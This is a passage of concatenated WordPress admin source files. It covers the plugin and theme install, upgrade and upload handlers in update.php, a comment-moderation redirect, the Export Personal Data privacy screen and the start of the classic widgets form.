		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'activate-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'activate-plugin_' . $plugin );
		if ( ! isset( $_GET['failure'] ) && ! isset( $_GET['success'] ) ) {
			wp_redirect( admin_url( 'update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
			wp_redirect( admin_url( 'update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			die();
		}
		iframe_header( __( 'Plugin Reactivation' ), true );
		if ( isset( $_GET['success'] ) ) {
			echo '<p>' . __( 'Plugin reactivated successfully.' ) . '</p>';
		}

		if ( isset( $_GET['failure'] ) ) {
			echo '<p>' . __( 'Plugin failed to reactivate due to a fatal error.' ) . '</p>';

			error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed.
			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
			include WP_PLUGIN_DIR . '/' . $plugin;
		}
		iframe_footer();
	} elseif ( 'install-plugin' === $action ) {

		if ( ! current_user_can( 'install_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api().

		check_admin_referer( 'install-plugin_' . $plugin );
		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $plugin,
				'fields' => array(
					'sections' => false,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( 'Plugin Installation' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: Plugin name and version. */
		$title = sprintf( __( 'Installing Plugin: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-plugin_' . $plugin;
		$url   = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
		if ( isset( $_GET['from'] ) ) {
			$url .= '&from=' . urlencode( stripslashes( $_GET['from'] ) );
		}

		$type = 'web'; // Install plugin type, From Web or an Upload.

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-plugin' === $action ) {

		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		check_admin_referer( 'plugin-upload' );

		if ( isset( $_FILES['pluginzip']['name'] ) && ! str_ends_with( strtolower( $_FILES['pluginzip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

		$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );

		// Used in the HTML title tag.
		$title        = __( 'Upload Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: File name. */
		$title = sprintf( __( 'Installing plugin from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'plugin-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-plugin' );
		$type  = 'upload'; // Install plugin type, From Web or an Upload.

		$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-plugin', 'downgrade-plugin' ), true ) ? $overwrite : '';

		$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-plugin-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

		check_admin_referer( 'plugin-upload-cancel-overwrite' );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );
				$file_upload->cleanup();
			}
		}

		wp_redirect( self_admin_url( 'plugin-install.php' ) );
		exit;
	} elseif ( 'upgrade-theme' === $action ) {

		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

		check_admin_referer( 'upgrade-theme_' . $theme );

		wp_enqueue_script( 'updates' );

		// Used in the HTML title tag.
		$title        = __( 'Update Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		$nonce = 'upgrade-theme_' . $theme;
		$url   = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );

		$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) );
		$upgrader->upgrade( $theme );

		require_once ABSPATH . 'wp-admin/admin-footer.php';
	} elseif ( 'update-selected-themes' === $action ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

		check_admin_referer( 'bulk-update-themes' );

		if ( isset( $_GET['themes'] ) ) {
			$themes = explode( ',', stripslashes( $_GET['themes'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$themes = (array) $_POST['checked'];
		} else {
			$themes = array();
		}

		$themes = array_map( 'urldecode', $themes );

		$url   = 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) );
		$nonce = 'bulk-update-themes';

		wp_enqueue_script( 'updates' );
		iframe_header();

		$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $themes );

		iframe_footer();
	} elseif ( 'install-theme' === $action ) {

		if ( ! current_user_can( 'install_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For themes_api().

		check_admin_referer( 'install-theme_' . $theme );
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme,
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

		if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

		// Used in the HTML title tag.
		$title        = __( 'Install Themes' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: Theme name and version. */
		$title = sprintf( __( 'Installing Theme: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-theme_' . $theme;
		$url   = 'update.php?action=install-theme&theme=' . urlencode( $theme );
		$type  = 'web'; // Install theme type, From Web or an Upload.

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-theme' === $action ) {

		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		check_admin_referer( 'theme-upload' );

		if ( isset( $_FILES['themezip']['name'] ) && ! str_ends_with( strtolower( $_FILES['themezip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

		$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );

		// Used in the HTML title tag.
		$title        = __( 'Upload Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'theme-install.php';

		require_once ABSPATH . 'wp-admin/admin-header.php';

		/* translators: %s: File name. */
		$title = sprintf( __( 'Installing theme from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'theme-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-theme' );
		$type  = 'upload'; // Install theme type, From Web or an Upload.

		$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-theme', 'downgrade-theme' ), true ) ? $overwrite : '';

		$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

		if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

		require_once ABSPATH . 'wp-admin/admin-footer.php';

	} elseif ( 'upload-theme-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

		check_admin_referer( 'theme-upload-cancel-overwrite' );

		// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

			if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );
				$file_upload->cleanup();
			}
		}

		wp_redirect( self_admin_url( 'theme-install.php' ) );
		exit;
	} else {
		/**
		 * Fires when a custom plugin or theme update request is received.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the action
		 * provided in the request for wp-admin/update.php. Can be used to
		 * provide custom update functionality for themes and plugins.
		 *
		 * @since 2.8.0
		 */
		do_action( "update-custom_{$action}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
}
<?php
/**
 * Comment Moderation Administration Screen.
 *
 * Redirects to edit-comments.php?comment_status=moderated.
 *
 * @package WordPress
 * @subpackage Administration
 */
require_once dirname( __DIR__ ) . '/wp-load.php';
wp_redirect( admin_url( 'edit-comments.php?comment_status=moderated' ) );
exit;
<?php
/**
 * Privacy tools, Export Personal Data screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'export_others_personal_data' ) ) {
	wp_die( __( 'Sorry, you are not allowed to export personal data on this site.' ) );
}

// Used in the HTML title tag.
$title = __( 'Export Personal Data' );

// Contextual help - choose Help on the top right of admin panel to preview this.
get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
					'<p>' . __( 'This screen is where you manage requests for an export of personal data.' ) . '</p>' .
					'<p>' . __( 'Privacy Laws around the world require businesses and online services to provide an export of some of the data they collect about an individual, and to deliver that export on request. The rights those laws enshrine are sometimes called the "Right of Data Portability". It allows individuals to obtain and reuse their personal data for their own purposes across different services. It allows them to move, copy or transfer personal data easily from one IT environment to another.' ) . '</p>' .
					'<p>' . __( 'The tool associates data stored in WordPress with a supplied email address, including profile data and comments.' ) . '</p>' .
					'<p><strong>' . __( 'Note: Since this tool only gathers data from WordPress and participating plugins, you may need to do more to comply with export requests. For example, you should also send the requester some of the data collected from or stored with the 3rd party services your organization uses.' ) . '</strong></p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'default-data',
		'title'   => __( 'Default Data' ),
		'content' =>
					'<p>' . __( 'WordPress collects (but <em>never</em> publishes) a limited amount of data from registered users who have logged in to the site. Generally, these users are people who contribute to the site in some way -- content, store management, and so on. With rare exceptions, these users do not include occasional visitors who might have registered to comment on articles or buy products. The data WordPress retains can include:' ) . '</p>' .
					'<p>' . __( '<strong>Profile Information</strong> &mdash; user email address, username, display name, nickname, first name, last name, description/bio, and registration date.' ) . '</p>' .
					'<p>' . __( '<strong>Community Events Location</strong> &mdash; The IP Address of the user, which populates the Upcoming Community Events dashboard widget with relevant information.' ) . '</p>' .
					'<p>' . __( '<strong>Session Tokens</strong> &mdash; User login information, IP Addresses, Expiration Date, User Agent (Browser/OS), and Last Login.' ) . '</p>' .
					'<p>' . __( '<strong>Comments</strong> &mdash; For user comments, Email Address, IP Address, User Agent (Browser/OS), Date/Time, Comment Content, and Content URL.' ) . '</p>' .
					'<p>' . __( '<strong>Media</strong> &mdash; A list of URLs for media files the user uploads.' ) . '</p>',
	)
);

$privacy_policy_guide = '<p>' . sprintf(
	/* translators: %s: URL to Privacy Policy Guide screen. */
	__( 'If you are not sure, check the plugin documentation or contact the plugin author to see if the plugin collects data and if it supports the Data Exporter tool. This information may be available in the <a href="%s">Privacy Policy Guide</a>.' ),
	admin_url( 'options-privacy.php?tab=policyguide' )
) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'plugin-data',
		'title'   => __( 'Plugin Data' ),
		'content' =>
					'<p>' . __( 'Many plugins may collect or store personal data either in the WordPress database or remotely. Any Export Personal Data request should include data from plugins as well.' ) . '</p>' .
					'<p>' . __( 'Plugin authors can <a href="https://developer.wordpress.org/plugins/privacy/adding-the-personal-data-exporter-to-your-plugin/" target="_blank">learn more about how to add the Personal Data Exporter to a plugin here</a>.' ) . '</p>' .
					$privacy_policy_guide,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-export-personal-data-screen/">Documentation on Export Personal Data</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// Handle list table actions.
_wp_personal_data_handle_actions();

// Cleans up failed and expired requests before displaying the list table.
_wp_personal_data_cleanup_requests();

wp_enqueue_script( 'privacy-tools' );

add_screen_option(
	'per_page',
	array(
		'default' => 20,
		'option'  => 'export_personal_data_requests_per_page',
	)
);

$_list_table_args = array(
	'plural'   => 'privacy_requests',
	'singular' => 'privacy_request',
);

$requests_table = _get_list_table( 'WP_Privacy_Data_Export_Requests_List_Table', $_list_table_args );

$requests_table->screen->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter export personal data list' ),
		'heading_pagination' => __( 'Export personal data list navigation' ),
		'heading_list'       => __( 'Export personal data list' ),
	)
);

$requests_table->process_bulk_action();
$requests_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap nosubsub">
	<h1><?php esc_html_e( 'Export Personal Data' ); ?></h1>
	<p><?php _e( 'This tool helps site owners comply with local laws and regulations by exporting known data for a given user in a .zip file.' ); ?></p>
	<hr class="wp-header-end" />

	<?php settings_errors(); ?>

	<form action="<?php echo esc_url( admin_url( 'export-personal-data.php' ) ); ?>" method="post" class="wp-privacy-request-form">
		<h2><?php esc_html_e( 'Add Data Export Request' ); ?></h2>
		<div class="wp-privacy-request-form-field">
		<table class="form-table">
				<tr>
					<th scope="row">
						<label for="username_or_email_for_privacy_request"><?php esc_html_e( 'Username or email address' ); ?></label>
					</th>
					<td>
						<input type="text" required class="regular-text ltr" id="username_or_email_for_privacy_request" name="username_or_email_for_privacy_request" />
					</td>
				</tr>
				<tr>
					<th scope="row">
						<?php _e( 'Confirmation email' ); ?>
					</th>
					<td>
						<label for="send_confirmation_email">
							<input type="checkbox" name="send_confirmation_email" id="send_confirmation_email" value="1" checked="checked" />
							<?php _e( 'Send personal data export confirmation email.' ); ?>
						</label>
					</td>
				</tr>
			</table>
			<p class="submit">
				<?php submit_button( __( 'Send Request' ), 'secondary', 'submit', false ); ?>
			</p>
		</div>
		<?php wp_nonce_field( 'personal-data-request' ); ?>
		<input type="hidden" name="action" value="add_export_personal_data_request" />
		<input type="hidden" name="type_of_action" value="export_personal_data" />
	</form>
	<hr />

	<?php $requests_table->views(); ?>

	<form class="search-form wp-clearfix">
		<?php $requests_table->search_box( __( 'Search Requests' ), 'requests' ); ?>
		<input type="hidden" name="filter-status" value="<?php echo isset( $_REQUEST['filter-status'] ) ? esc_attr( sanitize_text_field( $_REQUEST['filter-status'] ) ) : ''; ?>" />
		<input type="hidden" name="orderby" value="<?php echo isset( $_REQUEST['orderby'] ) ? esc_attr( sanitize_text_field( $_REQUEST['orderby'] ) ) : ''; ?>" />
		<input type="hidden" name="order" value="<?php echo isset( $_REQUEST['order'] ) ? esc_attr( sanitize_text_field( $_REQUEST['order'] ) ) : ''; ?>" />
	</form>

	<form method="post">
		<?php
		$requests_table->display();
		$requests_table->embed_scripts();
		?>
	</form>
</div>

<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * The classic widget administration screen, for use in widgets.php.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

$widgets_access = get_user_setting( 'widgets_access' );
if ( isset( $_GET['widgets-access'] ) ) {
	check_admin_referer( 'widgets-access' );

	$widgets_access = 'on' === $_GET['widgets-access'] ? 'on' : 'off';
	set_user_setting( 'widgets_access', $widgets_access );
}

if ( 'on' === $widgets_access ) {
	add_filter( 'admin_body_class', 'wp_widgets_access_body_class' );
} else {
	wp_enqueue_script( 'admin-widgets' );

	if ( wp_is_mobile() ) {
		wp_enqueue_script( 'jquery-touch-punch' );
	}
}

/**
 * Fires early before the Widgets administration screen loads,
 * after scripts are enqueued.
 *
 * @since 2.2.0
 */
do_action( 'sidebar_admin_setup' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'Widgets are independent sections of content that can be placed into any widgetized area provided by your theme (commonly called sidebars). To populate your sidebars/widget areas with individual widgets, drag and drop the title bars into the desired area. By default, only the first widget area is expanded. To populate additional widget areas, click on their title bars to expand them.' ) . '</p>
	<p>' . __( 'The Available Widgets section contains all the widgets you can choose from. Once you drag a widget into a sidebar, it will open to allow you to configure its settings. When you are happy with the widget settings, click the Save button and the widget will go live on your site. If you click Delete, it will remove the widget.' ) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'removing-reusing',
		'title'   => __( 'Removing and Reusing' ),
		'content' =>
				'<p>' . __( 'If you want to remove the widget but save its setting for possible future use, just drag it into the Inactive Widgets area. You can add them back anytime from there. This is especially helpful when you switch to a theme with fewer or different widget areas.' ) . '</p>
	<p>' . __( 'Widgets may be used multiple times. You can give each widget a title, to display on your site, but it&#8217;s not required.' ) . '</p>
	<p>' . __( 'Enabling Accessibility Mode, via Screen Options, allows you to use Add and Edit buttons instead of using drag and drop.' ) . '</p>',
	)
);
get_current_screen()->add_help_tab(
	array(
		'id'      => 'missing-widgets',
		'title'   => __( 'Missing Widgets' ),
		'content' =>
				'<p>' . __( 'Many themes show some sidebar widgets by default until you edit your sidebars, but they are not automatically displayed in your sidebar management tool. After you make your first widget change, you can re-add the default widgets by adding them from the Available Widgets area.' ) . '</p>' .
					'<p>' . __( 'When changing themes, there is often some variation in the number and setup of widget areas/sidebars and sometimes these conflicts make the transition a bit less smooth. If you changed themes and seem to be missing widgets, scroll down on this screen to the Inactive Widgets area, where all of your widgets and their settings will have been saved.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-widgets-screen-classic-editor/">Documentation on Widgets</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// These are the widgets grouped by sidebar.
$sidebars_widgets = wp_get_sidebars_widgets();

if ( empty( $sidebars_widgets ) ) {
	$sidebars_widgets = wp_get_widget_defaults();
}

foreach ( $sidebars_widgets as $sidebar_id => $widgets ) {
	if ( 'wp_inactive_widgets' === $sidebar_id ) {
		continue;
	}

	if ( ! is_registered_sidebar( $sidebar_id ) ) {
		if ( ! empty( $widgets ) ) { // Register the inactive_widgets area as sidebar.
			register_sidebar(
				array(
					'name'          => __( 'Inactive Sidebar (not used)' ),
					'id'            => $sidebar_id,
					'class'         => 'inactive-sidebar orphan-sidebar',
					'description'   => __( 'This sidebar is no longer available and does not show anywhere on your site. Remove each of the widgets below to fully remove this inactive sidebar.' ),
					'before_widget' => '',
					'after_widget'  => '',
					'before_title'  => '',
					'after_title'   => '',
				)
			);
		} else {
			unset( $sidebars_widgets[ $sidebar_id ] );
		}
	}
}

// Register the inactive_widgets area as sidebar.
register_sidebar(
	array(
		'name'          => __( 'Inactive Widgets' ),
		'id'            => 'wp_inactive_widgets',
		'class'         => 'inactive-sidebar',
		'description'   => __( 'Drag widgets here to remove them from the sidebar but keep their settings.' ),
		'before_widget' => '',
		'after_widget'  => '',
		'before_title'  => '',
		'after_title'   => '',
	)
);

retrieve_widgets();

// We're saving a widget without JS.
if ( isset( $_POST['savewidget'] ) || isset( $_POST['removewidget'] ) ) {
	$widget_id = $_POST['widget-id'];
	check_admin_referer( "save-delete-widget-$widget_id" );

	$number = isset( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : '';
	if ( $number ) {
		foreach ( $_POST as $key => $val ) {
			if ( is_array( $val ) && preg_match( '/__i__|%i%/', key( $val ) ) ) {
				$_POST[ $key ] = array( $number => array_shift( $val ) );
				break;
			}
		}
	}

	$sidebar_id = $_POST['sidebar'];
	$position   = isset( $_POST[ $sidebar_id . '_position' ] ) ? (int) $_POST[ $sidebar_id . '_position' ] - 1 : 0;

	$id_base = $_POST['id_base'];
	$sidebar = isset( $sidebars_widgets[ $sidebar_id ] ) ? $sidebars_widgets[ $sidebar_id ] : array();

	// Delete.
	if ( isset( $_POST['removewidget'] ) && $_POST['removewidget'] ) {

		if ( ! in_array( $widget_id, $sidebar, true ) ) {
			wp_redirect( admin_url( 'widgets.php?error=0' ) );
			exit;
		}

		$sidebar = array_diff( $sidebar, array( $widget_id ) );
		$_POST   = array(
			'sidebar'            => $sidebar_id,
			'widget-' . $id_base => array(),
			'the-widget-id'      => $widget_id,
			'delete_widget'      => '1',
		);

		/**
		 * Fires immediately after a widget has been marked for deletion.
		 *
		 * @since 4.4.0
		 *
		 * @param string $widget_id  ID of the widget marked for deletion.
		 * @param string $sidebar_id ID of the sidebar the widget was deleted from.
		 * @param string $id_base    ID base for the widget.
		 */
		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );
	}

	$_POST['widget-id'] = $sidebar;

	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {
		if ( $name !== $id_base || ! is_callable( $control['callback'] ) ) {
			continue;
		}

		ob_start();
			call_user_func_array( $control['callback'], $control['params'] );
		ob_end_clean();

		break;
	}

	$sidebars_widgets[ $sidebar_id ] = $sidebar;

	// Remove old position.
	if ( ! isset( $_POST['delete_widget'] ) ) {
		foreach ( $sidebars_widgets as $key => $sb ) {
			if ( is_array( $sb ) ) {
				$sidebars_widgets[ $key ] = array_diff( $sb, array( $widget_id ) );
			}
		}
		array_splice( $sidebars_widgets[ $sidebar_id ], $position, 0, $widget_id );
	}

	wp_set_sidebars_widgets( $sidebars_widgets );
	wp_redirect( admin_url( 'widgets.php?message=0' ) );
	exit;
}

// Remove inactive widgets without JS.
if ( isset( $_POST['removeinactivewidgets'] ) ) {
	check_admin_referer( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' );

	if ( $_POST['removeinactivewidgets'] ) {
		foreach ( $sidebars_widgets['wp_inactive_widgets'] as $key => $widget_id ) {
			$pieces       = explode( '-', $widget_id );
			$multi_number = array_pop( $pieces );
			$id_base      = implode( '-', $pieces );
			$widget       = get_option( 'widget_' . $id_base );
			unset( $widget[ $multi_number ] );
			update_option( 'widget_' . $id_base, $widget );
			unset( $sidebars_widgets['wp_inactive_widgets'][ $key ] );
		}

		wp_set_sidebars_widgets( $sidebars_widgets );
	}

	wp_redirect( admin_url( 'widgets.php?message=0' ) );
	exit;
}

// Output the widget form without JS.
if ( isset( $_GET['editwidget'] ) && $_GET['editwidget'] ) {
	$widget_id = $_GET['editwidget'];

	if ( isset( $_GET['addnew'] ) ) {
		// Default to the first sidebar.
		$keys    = array_keys( $wp_registered_sidebars );
		$sidebar = reset( $keys );

		if ( isset( $_GET['base'] ) && isset( $_GET['num'] ) ) { // Multi-widget.
			// Copy minimal info from an existing instance of this widget to a new instance.
			foreach ( $wp_registered_widget_controls as $control ) {
				if ( $_GET['base'] === $control['id_base'] ) {
					$control_callback                                = $control['callback'];
					$multi_number                                    = (int) $_GET['num'];
					$control['params'][0]['number']                  = -1;
					$control['id']                                   = $control['id_base'] . '-' . $multi_number;
					$widget_id                                       = $control['id'];
					$wp_registered_widget_controls[ $control['id'] ] = $control;
					break;
				}
			}
		}
	}

	if ( isset( $wp_registered_widget_controls[ $widget_id ] ) && ! isset( $control ) ) {
		$control          = $wp_registered_widget_controls[ $widget_id ];
		$control_callback = $control['callback'];
	} elseif ( ! isset( $wp_registered_widget_controls[ $widget_id ] ) && isset( $wp_registered_widgets[ $widget_id ] ) ) {
		$name = esc_html( strip_tags( $wp_registered_widgets[ $widget_id ]['name'] ) );
	}

	if ( ! isset( $name ) ) {
		$name = esc_html( strip_tags( $control['name'] ) );
	}

	if ( ! isset( $sidebar ) ) {
		$sidebar = isset( $_GET['sidebar'] ) ? $_GET['sidebar'] : 'wp_inactive_widgets';
	}

	if ( ! isset( $multi_number ) ) {
		$multi_number = isset( $control['params'][0]['number'] ) ? $control['params'][0]['number'] : '';
	}

	$id_base = isset( $control['id_base'] ) ? $control['id_base'] : $control['id'];

	// Show the widget form.
	$width = ' style="width:' . max( $control['width'], 350 ) . 'px"';
	$key   = isset( $_GET['key'] ) ? (int) $_GET['key'] : 0;

	require_once ABSPATH . 'wp-admin/admin-header.php';
	?>
	<div class="wrap">
	<h1><?php echo esc_html( $title ); ?></h1>
	<div class="editwidget"<?php echo $width; ?>>
	<h2>
	<?php
	/* translators: %s: Widget name. */
	printf( __( 'Widget %s' ), $name );
	?>
	</h2>

	<form action="widgets.php" method="post">
	<div class="widget-inside">
	<?php
	if ( is_callable( $control_callback ) ) {
		call_user_func_array( $control_callback, $control['params'] );
	} else {
		echo '<p>' . __( 'There are no options for this widget.' ) . "</p>\n";
	}
	?>
	</div>

	<p class="describe"><?php _e( 'Select both the sidebar for this widget and the position of the widget in that sidebar.' ); ?></p>
	<div class="widget-position">
	<table class="widefat"><thead><tr><th><?php _e( 'Sidebar' ); ?></th><th><?php _e( 'Position' ); ?></th></tr></thead><tbody>
	<?php
	foreach ( $wp_registered_sidebars as $sbname => $sbvalue ) {
		echo "\t\t<tr><td><label><input type='radio' name='sidebar' value='" . esc_attr( $sbname ) . "'" . checked( $sbname, $sidebar, false ) . " /> $sbvalue[name]</label></td><td>";
		if ( 'wp_inactive_widgets' === $sbname || str_starts_with( $sbname, 'orphaned_widgets' ) ) {
			echo '&nbsp;';
		} else {
			if ( ! isset( $sidebars_widgets[ $sbname ] ) || ! is_array( $sidebars_widgets[ $sbname ] ) ) {
				$j                           = 1;
				$sidebars_widgets[ $sbname ] = array();
			} else {
				$j = count( $sidebars_widgets[ $sbname ] );
				if ( isset( $_GET['addnew'] ) || ! in_array( $widget_id, $sidebars_widgets[ $sbname ], true ) ) {
					++$j;
				}
			}
			$selected = '';
			echo "\t\t<select name='{$sbname}_position'>\n";
			echo "\t\t<option value=''>" . __( '&mdash; Select &mdash;' ) . "</option>\n";
			for ( $i = 1; $i <= $j; $i++ ) {
				if ( in_array( $widget_id, $sidebars_widgets[ $sbname ], true ) ) {
					$selected = selected( $i, $key + 1, false );
				}
				echo "\t\t<option value='$i'$selected> $i </option>\n";
			}
			echo "\t\t</select>\n";
		}
		echo "</td></tr>\n";
	}
	?>
	</tbody></table>
	</div>

	<div class="widget-control-actions">
		<div class="alignleft">
			<?php if ( ! isset( $_GET['addnew'] ) ) : ?>
				<input type="submit" name="removewidget" id="removewidget" class="button-link button-link-delete widget-control-remove" value="<?php esc_attr_e( 'Delete' ); ?>" />
				<span class="widget-control-close-wrapper">
					| <a href="widgets.php" class="button-link widget-control-close"><?php _e( 'Cancel' ); ?></a>
				</span>
			<?php else : ?>
				<a href="widgets.php" class="button-link widget-control-close"><?php _e( 'Cancel' ); ?></a>
			<?php endif; ?>
		</div>
		<div class="alignright">
			<?php submit_button( __( 'Save Widget' ), 'primary alignright', 'savewidget', false ); ?>
			<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr( $widget_id ); ?>" />
			<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr( $id_base ); ?>" />
			<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr( $multi_number ); ?>" />
			<?php wp_nonce_field( "save-delete-widget-$widget_id" ); ?>
		</div>
		<br class="clear" />
	</div>

	</form>
	</div>
	</div>
	<?php
	require_once ABSPATH . 'wp-admin/admin-footer.php';
	exit;
}

$messages = array(
	__( 'Changes saved.' ),
);

$errors = array(
	__( 'Error while saving.' ),
	__( 'Error in displaying the widget settings form.' ),
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( current_user_can( 'customize' ) ) {
	printf(
		' <a class="page-title-action hide-if-no-customize" href="%1$s">%2$s</a>',
		esc_url(
			add_query_arg(
				array(
